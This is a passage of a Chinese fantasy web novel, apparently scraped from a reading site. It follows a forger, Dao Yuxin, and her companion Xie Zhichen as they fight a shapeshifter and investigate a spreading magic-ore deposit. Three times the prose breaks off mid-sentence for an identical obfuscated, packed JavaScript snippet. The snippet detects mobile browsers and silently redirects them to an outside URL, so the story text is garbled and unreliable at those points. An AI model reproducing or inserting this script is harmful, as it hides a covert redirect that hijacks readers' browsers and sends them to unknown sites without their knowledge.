天际线最后一缕阳光正在消逝,袭来的黑暗让带着亮光的攻击格外明显,面对速度极快朝自己袭来的光球,刀语心游刃有余地用剑抵挡。 只不过光亮夺目的法球是“何弎”第二重攻击的掩护,他的下一道攻击隐藏在黑暗之中。 数道能量射线自黑暗中射出,但被一抹红色抵挡。 被赤红夺去目光的瞬间,刀语心迅速拉近距离朝着“何弎”砍去,一招一式间都是冲着将对方彻底杀死。 不过刀语心很快发现异样,往常战斗时所感受到的阻力消失不见,这让她有些不太适应,但也让她的攻势流畅许多。 与“何弎”先前眼中透露出的无尽杀戮欲望不同,在刀语心接连不断的攻击下他只是一味闪躲。 但他注定无法躲开所有的攻击。 灭灵剑准确无误的刺进“何弎”的心脏,为了彻底将其置之死地,刀语心还扭转了剑的方向,扩大创面。 而“何弎”就像感受不到痛觉一般,任凭刀语心不断刺痛自己的躯体,他只是突然露出笑容,然后徒手握住剑刃,想要反过来控制刀语心的动作。 刀语心更快发现他的打算,立即抽回剑将他一脚踹开。 突如其来的剧烈冲击让本就摇摇欲坠的危墙倒塌,轰然落下的同时还顺带扬起无数灰尘。 只是在烟尘消散后,“何弎”依然完好无损地站在原地。 和绿绮说的一样,即便是致命伤不消片刻就会复原,难怪职业壁垒不起作用,因为她所做的一切都是无用功。 但如果是注入异化之力的灭灵剑呢?刀语心在心中想到。 用超出常理的异化之力,对抗同样不合常规的复原能力。 随即刀语心控制力量注入剑身,重新提起剑,黑色虚影围绕着冰冷的剑刃,与此同时,数条流光隐藏自己的光芒,顺着阴影处前进,准备从暗处突袭捕获“何弎”。 面对着刀语心的剑锋,“何弎”的笑容不减反增。 他似乎完全放弃了抵挡,只是站在原地。 刀语心举剑准备再次刺入他心脏上的豁口,异化之力即将顺着剑峰没入他的躯体,不过…… “下次再见。” 虽然是正常人类的声音,但他的语调总有一种难以言喻的诡异感,在流光即将缠绕在“何弎”身上的刹那间,他身躯扭曲缩小变成一种异形,逃窜进阴影中消失无踪。 环顾四周确认何弎无处可寻后,刀语心只得收起剑,转身回去查看绿绮的状况。 见到刀语心,原本面色惨白的绿绮强撑着露出笑容。 “伤到哪里了?” “没事的……”刚开口绿绮就呕出一口血,“只是小伤,一次性控制的傀儡太多精神力过载了。” “真没事吗?” 先前绿绮一直都在自责自己没能把“何弎”杀死,她本想先和刀语心道歉,但在刀语心询问的那一刻,她还是委屈地哭诉着。 “有的,我脑袋好疼啊。”绿绮像是被抽干了力气,整个人倚靠在刀语心身上。 “不过你来救我,我真是太开心了!”就算是受重伤也值了。 “伤得重就少说话。” 说着刀语心取出医疗装置给绿绮治疗。 她没有想起来谢止沉就是医师这件事,不过就算想起来,他不开口,刀语心也不会主动选择去麻烦他。 谢止沉本来是不想治疗绿绮的,虽说他选了医师作为职业,但纯粹出于好奇和便于伪装,本质上他完全没有一点医者的仁爱可言。 只是见到绿绮一直黏在刀语心身上,他忍不住了。 有傀儡作为掩护再加上绿绮身形灵敏,“何弎”没有伤到她的要害,谢止沉一个治愈法术下去,再加上药剂和装置的加持下,不过片刻伤势就好了七七八八。 该起来了吧,怎么还不起来? 对此束手无策的谢止沉只能忍耐,属于哑巴吃黄连,有苦说不出。 讨厌人类……讨厌兽人…… 但他接着在心里补充道:刀语心除外。 “为什么他会和你打起来?”见绿绮恢复大半后,刀语心将她扶起并问道。 经过先前一战,刀语心心中有许多疑虑,她能确定何弎和从前不一样,那种复原能力绝对不是他原本就拥有的,否则他的哥哥也不会死在异兽手下。 面对这个问题绿绮有些支支吾吾眼神闪躲,但她并不想欺骗刀语心,犹豫片刻后只好说出实情: “我把他的尸体溶解了,可他又出现了。” 虽然理解起来有些莫名,不过谢止沉接下来的回答,让刀语心明白了一切的来由。 “我杀了他,但他被异形者化形了,是我的错。”谢止沉本想自己在暗中解决,但没想到意外发生,异形者已经出现在刀语心面前。 再隐瞒下去,毫不知情的刀语心很可能没有防备遇到更大的危险。 很快理解这一切的刀语心了然。 “那还真是巧啊?所以异形者又是什么?” 视线聚焦到谢止沉身上,只有他知道问题的答案。 “异形者是异种众多分支的一种,和异兽、邪魔、能量体等一样,不是属于这个世界的原生物种,而异形者的能力就是化形替代,但有一个制约,他们必须完成身体主人死前心愿。” “何弎的心愿大概是想要杀死你。” 直到死前何弎也不觉得自己所遭受的一切是自己的原因,他将一切的错误和不幸归在刀语心头上。 “是我不好。”介绍完异形者后,谢止沉再次出言认错。 “我也是。”绿绮看向刀语心的眼中也满是愧意。 相看生厌的两人在这件事上达成了共识,没能杀掉何弎还给刀语心惹了更大的麻烦,他们二人心中有愧。 知道这一切的刀语心并没有生出任何负面情绪,她很清楚他们都是为了自己才做出这些行动。 “没关系的,这不是你们的问题,既然知晓了他的目的,我会多加防备。” 虽然有被刀语心劝慰,但二人还是不约而同地想到: 下次自己一定会杀死何弎。 出于安全考虑,刀语心先将绿绮送回到救世会,而救世会门前也有一个四处张望、等待已久的人影,见到绿绮后他冲上前来。 “天呐,我的小祖宗,你又去哪里受伤了?首领知道了会杀了我的!” 这人语调虽然略显夸张,但在见到绿绮的第一眼就开始施放治愈法术,他真心实意地关心着绿绮的安危。 “别这么担心,都快好玩了,再说不让他知道不就是了。” 回复完对方后,绿绮向刀语心介绍道:“这是我的族人,现在担任我的副官,他口中的首领是我的哥哥。” 看来是奉命陪着绿绮一起来这个荒芜小镇。 不过刀语心总觉得对方看向自己的眼神带着某种斥责,联想到绿绮是因为自己被救世会骗过来的,刀语心只觉得自己确实罪孽深重。 如果不是因为她,绿绮应该还待在异兽族群的地盘安安稳稳地长大吧。 “好好休息吧,名单不着急。”刀语心得先把自己预想中的装置线制作出来。 “这次是我大意了。”绿绮的确不知道异形者的能力会如此夸张,她不仅落得下风还差点重伤,幸亏刀语心及时赶到,才没有造成更严重的后果。 “我以后会努力变强!然后我就可以保护你了。” “你已经很厉害了。”看着动力十足的绿绮,刀语心眼神中的冰寒有些许消融。 绿绮年纪不大,算下来还没有成年但已经达到了三十四级,这已经是很高的成长系数,按照时间换算,大部分人都要两到三年一级,一个原因是遇到的危险很少,一个是资源贫瘠。 “不过答应我,你不要再一个人去找他。”刀语心会自己解决这个麻烦。 “好吧。”被刀语心勒令的绿绮只好放弃复仇的打算,“那你一定要注意安全!” “我会的。” 回家的路上,谢止沉一直沉浸在愧疚之中反思自己,如果他当时再谨慎一些,就不会给异形者可乘之机。 自再次见到“何弎”后,他就不断让流光在无名镇中找寻异形者的踪迹,但对方的躲藏手段十分高明,总会断了线索。 刀语心也发现了他的不对劲。 “不用再去想了,没关系的,许多事情我们都无法预料到不是吗?” “既然无法让所有一切都按照自己的计划来,那就接受已经发生的一切。”然后蛰伏在黑夜中,等待着黎明的到来,刀语心曾无数次这样劝慰自己。 听着刀语心的话,谢止沉脑海中闪过无数思绪以及过往的碎影,他停顿片刻后语调坚定地回应: “嗯,你是对的。” “后天我打算出去一趟……”刀语心打算找个话题转移一下谢止沉的注意力。 “我想和你一起去。” 两人陷入了片刻的沉默,没等谢止沉准备好的借口说出,刀语心先一步开口: “其实你没必要一直陪着我,我有些担心你因为我的缘故被困住了。”刀语心很清楚,他是自由的,并不需要时刻待在自己的身边。 虽说异化之力来源并不稳定,但如今她也算是获得了能够保护自己的手段。 “不,其实我没有什么必须做的事……我也不知道我究竟要做些什么。”谢止沉眼中闪过一种深不见底的茫然。 禁锢装置、保护刀语心,对谢止沉而言都是一种选择性任务,他都可以拒绝。 他完全可以什么都不在乎,独自一人继续在尘世流浪。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477293|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知为何每当见到刀语心,他都会有一种安心感,所以他不排斥甚至很喜欢待在刀语心身边。 “那就先定个短期目标吧,我们一起把禁锢装置需要的材料找到。” “好。”他眼中的迷茫消退些许。 虽然在道别前互相叮嘱了早些休息,但刀语心并没有任何休息的打算。 她已经习惯在深夜进行工作。 直至清晨的日光洒入窗台,刀语心还在撑着脑袋翻看着书页,断断续续的翻页声和小鸟清脆的鸣叫声交织,即便有许多难题还未解决,但对刀语心来说此刻已经是难得的闲暇时光。 这天刀语心闭门不出研究挖矿设备,以及设计武器还有保护措施。 不只是委托需要,她也得给卫队做好打算。 刀语心深知自己救不了所有的人,但那些和她相处已久的卫队成员,印刻在记忆中的一张张面容,她不希望看到谁逝去。 生命是珍贵的。 但碍于隔天就要前往探测魔矿,刀语心还是先把研究重心放在了挖矿设备上。 锻造师成长指南上多了一些新的内容,之前的阻隔部分还没彻底掌握又出现了采集部分,对此刀语心十分乐意,毕竟有时候研究腻了就想换换口味。 虽说职业一经选定无法修改,但后续的发展可谓多种多样,可以精通某一部分延伸枝桠深度,也可以选择很多部分扩展枝桠广度。 一些职业侧重深,一些职业侧重广,至于锻造师则是可深可广,不过这也让发展道路变得极为艰难。 刀语心二十级的时候选择的细分职业发展方向是整体锻造,她倾向于将材料一次性锻造成一件装备或道具,这样的个体造物。 不过这并不代表她就不可以进行一些大型器械的锻造,只是不太擅长。 如果将挖矿设备整体框架构建好,再根据不同的矿石属性进行不同程度的采集,之后即便有其他的矿石,也只需要新的数据,而不需要整体研究。 她当即决定按照自己的想法锻造。 有加速天赋,刀语心锻造东西十分高效,不过片刻她就已经将设备雏形锻造完毕。 再将内部组件完成后,刀语心将设备连接上自己的终端,输出开始指令,咒能板上的刻印逐渐发亮,紧接着整个机器也运作起来,执行着机械化的挖矿动作。 大功告成后,刀语心开始研究其他部分,不过相比挖矿设备的顺利进行,其他都遇上了或多或少的阻碍。 在这期间谢止沉借用了刀语心买回来积灰的制药剂装置。 看着一排普通品质的正常回血药剂摆在自己面前,刀语心再度陷入了沉思。 “为什么你做出来的药剂不会带毒?” 是因为谢止沉职业是医师和回复有关联所以职业壁垒影响不大? 明白刀语心在纠结职业壁垒的问题,谢止沉回想着自己过去见到的一些经历。 “正常情况下,职业壁垒并不会让一个与药剂职业无关的人做出的药剂带毒,只会控制药剂维持在普通水准,没有更高的品质和附加效果。” “所以只有我是例外?” 谢止沉点头。 说不定就是自己手法有问题,刀语心反省自己。 见谢止沉身为医师,又可以做饭,又可以配置药剂,刀语心有些跃跃欲试,说不定她的厨艺还能有救,俗话来说就是好了伤疤忘了痛。 “我今天想试试做饭。” “没问题。”谢止沉答应下来。 不过谢止沉也没有真的撒手不管,他一直在刀语心旁边,提供恰当的帮助和指导。 只不过…… “明明我都是按照步骤,食材也都没有问题,但为什么就是吃不了。” 浅尝一口后,刀语心只觉得自己淡淡地死掉了,她只感觉这一口食物将自己的灵魂拖进了地狱之中。 “有这么严重吗?可看起来还不错。” 说着谢止沉也尝了一下,随后给出评价:“嗯……别有一番风味。” “你血条掉了,啊,我的也是。”甚至食物中毒。 说完后刀语心捂着脑袋长叹一口气,接着忍痛将食物扔了,美其名曰无害化处理。 一番折腾下来刀语心也不打算再挣扎,放弃自己有朝一日成为大厨的妄想。 但将这一切看在眼中的谢止沉觉得,这有些太不寻常了。 对此他先是提出自己的猜测:“既然做食物会中毒,做药剂也会中毒,那么你做毒药能不能变成回血的?” “我试过,但是毒药只会变得不致死,并不会回血。” 仔细思索一番后,谢止沉再度开口:“我认为这不是你的问题,你的职业壁垒似乎有点太严重了。” 每个人都会受到职业壁垒的影响,但刀语心显然被太过针对了。 “是吗?” 刀语心倒是从未想过,毕竟从来没有人教导过她可以质疑这个世界的规则,即便她也很讨厌这所谓的规则。 “我的职业是医师,做出来的食物没有增益效果但能吃,恢复药剂也是同理。” 但个例并不能成为强有力的证明,谢止沉提出:“或许我们现在可以去一起做与治疗不相干的药剂,用来对比。” 两人都是实干派,说做就做。 而得到的结论也和刚才一样,谢止沉做出来的荧光药剂效果正常,但只是普通水准,而刀语心的则是完全无效。 经此一役,谢止沉的猜想得到了验证。 “你被这个世界的法则针对了。” 30. 第 30 章 “解决办法是什么?” 摇晃着没有任何光亮的药剂,刀语心问道。 已经习惯这个世界强加于自己的恶意,刀语心只在乎能不能解决。 “改变规则,或者用不被约束的力量屏蔽规则。” 异化之力。 相比于前者,显然是后者更容易做到,只不过对刚掌握力量没多久的刀语心来说,还是有些无从下手。 她放下药剂瓶,在掌心中聚起一团不断变换着形状的异化之力,光凭想象很难知道究竟要怎么做才能用这份力量骗过规则。 见此,谢止沉开始给刀语心一一讲解。 “从本源之力中异变出的能力有各自的优缺点,但也有其共性,其一是太过自由反而难以控制,其二是随着力量加深,会发展出独属于自己的权能。” 他抬手,一道流光出现在刀语心眼前,悬浮在空中勾勒出无数分支,而其中一条颜色明显更加鲜艳。 “相当于在无数个方向中,选择自己最擅长的一种,不过只要做得到个体可以拥有无数种权能。” 至于谢止沉的权能是什么?刀语心有个模糊的答案,随之被他印证。 “我相信你应该可以猜到,我的权能是空间。” 接着,流光在谢止沉的操控下分裂为五道,颜色也由浅至深。 “但任何力量都不是一蹴而就的,获得权能的前提条件是必须控制好属于自己的力量,也才能更好地塑造能力,让其朝自己希望的方向发展。” 第一阶段是获得,第二阶段是控制,第三阶段是外化…… “衡量控制能力合格的条件就是,是否能使用力量包裹完整的自己。” 第一道与第二道流光之间出现一条细线,刀语心知道这就是屏蔽规则所需要跨越的鸿沟。 “不仅仅是包裹存在于现实之中的躯壳,还有灵魂也要一起,这样规则才会彻底察觉不到你的存在,从而让那份制约消失。” 这也让刀语心明白难点的所在。 只让异化之力包裹自己的躯体她现在就可以做到,但如果要加上灵魂,就有些无从下手。 “你需要让自己的灵魂与力量建立起连接。”谢止沉给出自己的建议,搭起一座桥梁,从而能够更加随心所欲的操控。 夜深人静,万籁俱静,刀语心在床上盘腿闭眼冥想着谢止沉所说的话语。 随着思绪深入她不断尝试操控力量,构建起桥的过程对她而言并不困难,随着连接加深,刀语心感受到异化之力与自己灵魂的触碰。 但刀语心突然睁开了眼,因为一个棘手的问题:她没有足够的异化之力能够将自己的灵魂完全浸染。 可邪魔潮短期内不会再出现,而她如今的实力也不足以踏入邪魔域,恐怕在她进去的一瞬间就会被撕咬得七零八碎。 有些难办。 冥思苦想找不出解决办法的刀语心转头研究起星型装置,不知何时才睡了过去。 次日清晨,天蒙蒙亮时刀语心和谢止沉就来到了商会。 “你们来了。” 见两人到来,迟明煦打了个招呼,彼此点头示意。 “搬运设备还需要一点时间。” 这次商会前往资源点的最主要目的就是获取更加精确的数据,但资源点的范围一般都非常广,使用一些必要设备很有帮助。 虽然迟明煦有些疑惑为什么谢止沉也跟在刀语心身边,但这个时机显然不是一个适合询问的场合。 想起之前对谢止沉的调查一无所获,迟明煦心中有许多困扰。 即便浩劫毁去了许多基础设施,也让信号传递变得困难,但完全找不到一个人存在的踪迹,这种事情少之又少。 谢止沉这人有些太过神秘了。 但刀语心还在,迟明煦很有分寸的不去过问。 “少主,准备好了。” “出发吧。” 迟明煦和他手下六人,再加上刀语心他们,分别乘两辆载具出发,只是无名镇的道路狭小载具无法驶入,众人需要走一段路到镇外再登上载具。 前往镇外的途中,刀语心发现路边站着一个她从未见过的人影。 身着长袍的女子站在还未彻底明朗的街边,额见一个金色四角星有些夺目,她的眼神无法聚焦,像是被雾蒙住一样,不知道视线究竟落在何方。 “远行者,我为你们祝福。” “愿你们前路顺遂。” 她声音沙哑,脸上挂着神秘微笑,整个人看上去无比圣洁,口中说出的赐福话语让人凭空生出一种对未知事物的敬畏。 但刀语心觉得有什么地方不对,她想起裴瑛交给自己的星型装置,应该就是出自眼前之人。 “这是占星会的祭司,给人祈福是他们的一种礼节。”在听到祝福后,迟明煦右手放在胸前微微躬身以表感谢,他的手下也和他做了一样的动作。 而刀语心二人只是面不改色地走过。 “有些人出行甚至要专门求取他们的占卜。” 刀语心无意评判他人,只是对她自己而言,她不喜欢这种毫无缘由的好意。 之前的星型装置,现在的祝福,再加上刀语心感受到祭司身上藏着某种恶意,她对此极为熟悉,而这恶意恰恰与祭司极力想要表现出来的慈悲有种撕裂感。 所以哪一个才是她的本相? 坐上载具不久后,睡眠时间完全不够的刀语心就生出些许困意。 此刻也不像之前一样充满危机,在还算安全的氛围内刀语心并不会一直紧绷着神经,没有被制止的困意像是膨胀的云朵占据了刀语心意识。 她理所应当地睡着了。 迷迷糊糊间刀语心靠到谢止沉的肩头上。 似乎意识到了什么,她想要挣扎着离开,不过谢止沉把她按了回去,并传来善解人意的声音: “好好休息吧。” 思绪早已模糊的刀语心不再纠结,靠着谢止沉睡了过去。 透过后视镜看这一幕的迟明煦只是皱起眉头。 他们的关系是不是有点太好了? 一段时间后。 “少主,我们到了。”下属的声音打破了沉默,也唤醒了刀语心。 刚睡醒的她并不太清醒,知道这一点的谢止沉先下载具充当扶手,将她小心地接了下来。 “根据之前的数据比对,魔矿又向外延伸了一公里。”先一步抵达的商会其他人向迟明煦报告着测量数据。 打了个哈欠逐步醒过来的刀语心察觉到一个不同寻常的字眼: “又?”资源点应该都有范围限制,否则整个世界表面早就被各类资源覆盖。 “这个资源点像是没有限制一般,无止无休地向外蔓延。” 听着迟明煦的言语,刀语心遥望无限延伸在地表的深紫近乎黑色的矿脉,一种强烈的预感从她的心头无比清晰地冒出: 其中的某个地方,必定有造成一切异象的源头。 抵达魔矿边缘后,已经是正午时分,迟明煦指挥着他的手下继续测量推算资源点范围,而刀语心在临时搭建的简易凉棚中测量魔矿数据。 期间谢止沉在一旁帮刀语心记录调试的数据。 有些不同于寻常的迹象,按道理来说资源点产生出的矿石应该都是同一层次的,但这些矿石中某种元素的含量却参差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488486|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐。 刀语心找不到原因。 好在这些杂质并不影响魔矿本身的作用和散发出的能量多少。 几番测试下来,刀语心发现魔矿并不适用于锻造,而是一种能源矿石,具有高能源密度可以在燃烧后提供许多能量。 “能源类啊,这个资源点的价值很高,难怪军团远跨千里来到这里。” 听到刀语心的结论后,迟明煦如此感慨道。 在场的几人只有刀语心从未离开过无名镇,对外界的各种势力也是知之甚少。 “军团是个什么类型的组织,到处打架的那种?”她问道。 “差不多吧,说是军团但除了总督直系之外的其他人其实更像劫匪,大多时候都是趁着人多势众烧杀抢掠,而且军团除了他们的总督之外并没有什么特别出色的个体。” 接着迟明煦顺便介绍军团的构成:最高决策者是总督,往下是六个不同的军团,每个军团有一位军团长。 总督建立了帝国位于残存区西北部,与无名镇相隔甚远,即便是这样,他们依然为了资源点穿越千里。 “帝国在残存区各处争抢资源点,我记得救世会某个资源点也被军团抢掠。” 看来这也是救世会让她锻造武器的原因。 刀语心转念一想,如果这种程度的武器能够对付军团,如果她研制出来再加以改良,那在之后的争夺战中可以增加更大的胜算。 随着时间的推移,太阳陷落,黑暗席卷大地。 “挖矿设备可以正常运转了吗?” “只要把区域地图输入就可以开始工作。” 不过负责测量资源点的小队进展并没有刀语心这边顺利。 “地图测算还需要一段时间,今晚得在这里过夜。” 对此刀语心没什么怨言,在闲暇的时间她打算研究一下怎么实现远距离传输。 在荒郊野岭中,终端无法接收信号,虽然也可以用法术或者其他手段来实现传递讯息的方式,但碍于职业限制会没有装置这么便捷。 关于远距离通信,刀语心记得她在书中见到过相应的理论。 加上现在新型材料的特性和技能构建,远没有旧世界那么繁琐,没用多少时间她就做出一个简易装置。 看着终端上出现了一格的信号,刀语心先是给谢止沉发去了消息。 “你有收到我的消息吗?” 闻言,谢止沉打开终端,看到刀语心的聊天界面上出现了一个owo “可以。” 比了个收到手势后,刀语心就朝着更高处的沙丘走去,她想给在无名镇中的人发去消息,装置还有些缺陷,需要一个较高的没有遮挡的地方增强信号传输。 不过消息发给谁成了问题,裴瑛很忙,明思又年纪稍小…… 思来想去,刀语心给绿绮发去了消息: “好好养伤。” 信号单向传输无法反向接收,刀语心只能等回到无名镇后再确认绿绮是否收到。 在距离刀语心不远处,谢止沉看着她捣鼓手中的设备。 耳边传来异样声响:“动了!魔矿动了!” “魔矿怎么会动?你是不是没休息好看花眼了?”听着其他人的闲聊,谢止沉心头一紧,无数流光划破夜色朝着刀语心奔去。 “刀语心!快回来!” 听到呼声的那一刻,刀语心就立即收起东西离开。 但还是慢了一步。 本该寂静的魔矿掀起一片由无数矿石构成的巨浪,朝着刀语心拍去,像是汹涌的波涛将刀语心吞噬。 仅仅是一个瞬息,原本还在沙丘之上的人影消失无踪。 31. 第 31 章 突如其来的状况让谢止沉无比惶恐。 幸好刀语心手腕上的流光从未离开,能让他感应到刀语心所在方向,才让他慌乱不止的心跳稍稳一些。 她此刻朝着资源点正下方高速移动。 确认大致方向后,暗红线条不断向远处蔓延想要追上刀语心的踪迹,一直在担忧刀语心的他没有注意到另一边出现的乱象。 其他人也差点被魔矿吞噬,逃脱过程中受了些轻伤。 并不是所有人都经历过大灾大难的场面,难免会有人惊慌失措。 “喂,你是医师对吧,快给我治疗一下。”突然被扯住的谢止沉只是甩开那人拉着他衣袖的手。 看出对方身上的伤势是用恢复药剂就能治愈的皮外伤后,谢止沉将药剂给了他。 但那人见谢止沉这满不在意的态度,满是恼怒地将瓶子摔碎。 “快帮我治疗啊!这不是你身为医师的职责吗?她的命是命我们的命就不是命了?” 有一瞬间谢止沉想直接绞死面前这人,但他控制住了杀意,如果杀死这人他可能就得杀了在场其他所有人,而迟明煦对刀语心而言还有些用,于是他毫无温度的开口: “你的性命……” “与我何干?” 他从始至终在意的只有刀语心一人。 处理完事务来晚一步的迟明煦听到两人的争吵,左右张望没有发现刀语心所在的他也推测出刚才发生的事。 “先离开吧,魔矿开始蔓延,到时候会有更多的人被拖进去。” 就算谢止沉想做什么,他只是一个医师而已,医师也是毫无战斗能力的弱者,又怎么能在危机来临的时候保全自身?更别提寻找刀语心了。 恐怕在他找到刀语心之前,他自己也会被魔矿吞噬。 如今刀语心已经下落不明,不能再有别的人葬送在这场突如其来的灾难之中。 商人精于算计,最懂利害。 “如果你遇险了,还会分走之后寻找刀语心的资源。” “你怎么这么自私?你是医师难道不该先治疗我们吗?”还在叫嚣的人没有分走两人的视线。 “闭嘴。”迟明煦发话,眼中闪过不耐。 一言不发的谢止沉完全没有离开的想法。 时间在一分一秒地消逝,谢止沉不打算在如此紧要的关头和他们进行毫无作用的辩驳,刀语心的安危才是重中之重。 流光已经去到距离刀语心最近的地方。 赤红划破无尽的黑夜像是燃起一团烈火,而谢止沉身处其中。 除了迟明煦之外的所有人出于本能地远离超出自己理解范围内的事物,只当这是又一种灾厄。 被卷入火焰之中的谢止沉只是用那双鲜血欲滴又无比冰冷的眼眸看着迟明煦,还有他身后一众忙着离开的人。 “我会找到她。” 说完,他转过身去,身影随声音一同消失在夜色之中。 无尽的黑暗再度降临。 被凹凸不平的魔矿裹着在地底穿梭,事发突然刀语心只来得及用异化之力将自己保护起来。 漫长的颠簸后周围终于静止下来,刀语心只觉得自己五脏六腑都被换了个位置,花费些时间让自己适应周围变化后,很快她就发现自己被嵌在了墙壁之中。 她通过敲击的回振判断出一个地方较为脆弱,可以作为突破口。 但因为被魔矿包裹能够活动的空间十分有限,刀语心甚至无法拿出自己的剑。 而且在密闭的环境中存在的空气也是有限的。 浩劫过后即便有了各种职业加持但人类还是肉体凡胎,绝没有可能在无氧环境下生存太久。 来不及过多思考,身体先一步开始了自救。 之前在测量魔矿硬度时,刀语心就对其有过一些了解,魔矿并不是易于采集的类型,它连接成片可以互相吸收和抵消受到的攻击。 也就是说在没有其他工具的加持下,她必须一击击碎,否则只会是无数无用功叠加。 可光凭血肉之躯做出这一举动难如登天。 即便刀语心有和裴瑛学过体术,但毕竟她本职是锻造师,身体的肌肉强度并不如战斗职业那样高。 但她还有异化之力可以使用。 漆黑力量覆盖在刀语心的右拳上,朝着魔矿打去,力量随之消散,而魔矿纹丝不动。 或许是因为不熟练的缘故,需要不断重新凝聚,可她没有太多可以消耗的时间,必须控制异化之力不会轻易消散。 在一次次尝试下积累经验,刀语心不断调整。 过多溢出会导致能量在四周逸散,她必须将其压缩聚拢在自己的拳头周围,以便覆盖在皮肤之上打出最强的一击。 不知道是心理作用还是什么,刀语心总觉得空气越来越稀薄。 她再一次将自己的拳头砸在魔矿之上,但换来的只有反震自己的疼痛以及鲜血淋漓的伤口。 还是不够吗? 但她可不想就这么死去,如果这样还不够的话,她就叠加更多的能量,直到体内的所有耗尽,直到自己无力进行下一次的反抗。 否则,她不会停止。 异化之力凝成一层坚硬的外壳,完美贴合着刀语心的手形,刀语心进行着可能是最后一次的挣扎,她深吸一口气,干脆利落地给魔矿最后一击。 终于,一个拳头大的缺口出现了。 带着一丝凉意的空气从裂隙中涌入,刀语心暂时停下手上的动作大口呼吸。 她成功了,暂时。 矿洞中毫无光亮,此刻透过那个缺口刀语心看到的只有更深邃的黑。 侦查镜片悬浮在刀语心的眼前,打开夜视模式后,刀语心发现这里原先大概是一处地下洞穴,被魔矿侵袭占领成一条矿脉。 不知道这洞穴是一条主路通到头,还是包含无数条岔口。 不过刀语心明白光是猜想毫无意义,她得先出去再做打算。 恢复少许气力后,她的手掌捏住缺口旁边的魔矿,借由异化之力将其一寸寸粉碎,花了不少时间从墙壁中脱离后,刀语心跌坐在地上。 长时间一直维持一个姿势让她四肢有些僵硬。 活动手腕后一股刺痛传来,刀语心这才注意到自己的右手还在流血,是先前击碎魔矿时留下的伤口。 在无数次尝试中,异化之力消散后她的拳头直接接触到不规则的魔矿而受伤。 从空间中拿出回血药剂洒在手上又歇息片刻后,刀语心拿出灭灵剑撑着自己起身。 当务之急是找到离开的路,如果再被魔矿吞噬一次,她又能坚持多久? 但刀语心的运气也是一如既往的不好,这个地下洞穴四通八达,光是刀语心现在能看到的路口就有四条,周围的空气流动也是静止的,完全无法判断哪一个能真正离开。 或许所有的路都是死路也说不定,并不美好的想法控制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497412|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住地冒出。 正当刀语心打算一条一条试下去时,一直隐形化作红线待在刀语心手腕上的流光出现在她面前。 此刻它不再透明而是散发着夺目红光,像是谢止沉使用的流光微缩版。 它焦急地在刀语心面前来回晃悠,又笔直指向一处洞口。 刀语心懂了它的意思,它想让她走那边。 这估计是谢止沉向她传递的信息,虽然不知道他是用什么方法找到的路。 但就目前来说,刀语心总要选一条,她没有理由不先去尝试,保险起见她使用腕带开始记录,就像从前在遗迹那样。 红线此刻发着光悬浮在空中,笔直一条走在前方充当着刀语心的引路使者。 在黑暗中,刀语心和流光相伴前行。 不知道走了多久,那条红线却突然从前方绕回,围绕着刀语心,似乎在示意她停下。 还没等刀语心产生不解,她就听到矿洞中传来陌生声音的回响: “这个破洞错综复杂到处都是路,为什么她不能高抬贵手占卜一下方位,我看她就是存心折磨我们,再这样找下去东西没找到我先要疯了!” “停止抱怨,我脑袋都被你吵晕了,还剩三分之一的路,如果你不想走我可以背着你。” “谁要你背了!我能自己走,再说了我抱怨一下怎么了!” “该死的祭司……阳奉阴违的东西……” 咒骂声渐渐变大,他们离刀语心的距离越来越近了,流光重新回到刀语心手上伪装起来,刀语心也悄悄紧靠墙壁,在不清楚对方的目的之前,她不能让对方发现自己的存在。 此刻刀语心身处一个较大的洞穴,分为上下两层,刀语心在上层,另一对人在下层走过,她屏息凝神,等待他们离开。 声音听起来是一对男女,言行间还提到了祭司,应该是占星会的人。 但他们为什么在这里? 正当刀语心思索时,一个问题打破了滔滔不绝的骂声。 “你额头的印记怎么亮了?”说完,就再没了声音,连脚步声都再没有传来。 这种突然重回寂静的感觉让刀语心莫名陷入紧张。 没了声音的来源,刀语心无法判断他们的位置所在,并且她也不知道为什么他们突然不再发声。 是出现了怪物?还是魔矿又有异动? 还没等刀语心推算出问题的答案,一股毛骨悚然的危机感从心头一跃而出。 刹那,视线范围内一刀泛着寒光的刀刃朝她砍来。 在兵器将她砍碎的前一秒,刀语心迅速侧身滚开,一声巨响后,原本她停留的地方深深地嵌入一把巨刃。 没顾得上心脏剧烈跳动,身后又是数道攻击光束射出,不断追踪着刀语心可能的落脚点。 在接连不断的攻击逼迫下,慌忙躲避的刀语心有些狼狈,但算是有惊无险地躲过所有攻击。 一对二,还是面对高等级战斗经验丰富的二人,刀语心不打算过多纠缠。 只是她已经无处可逃。 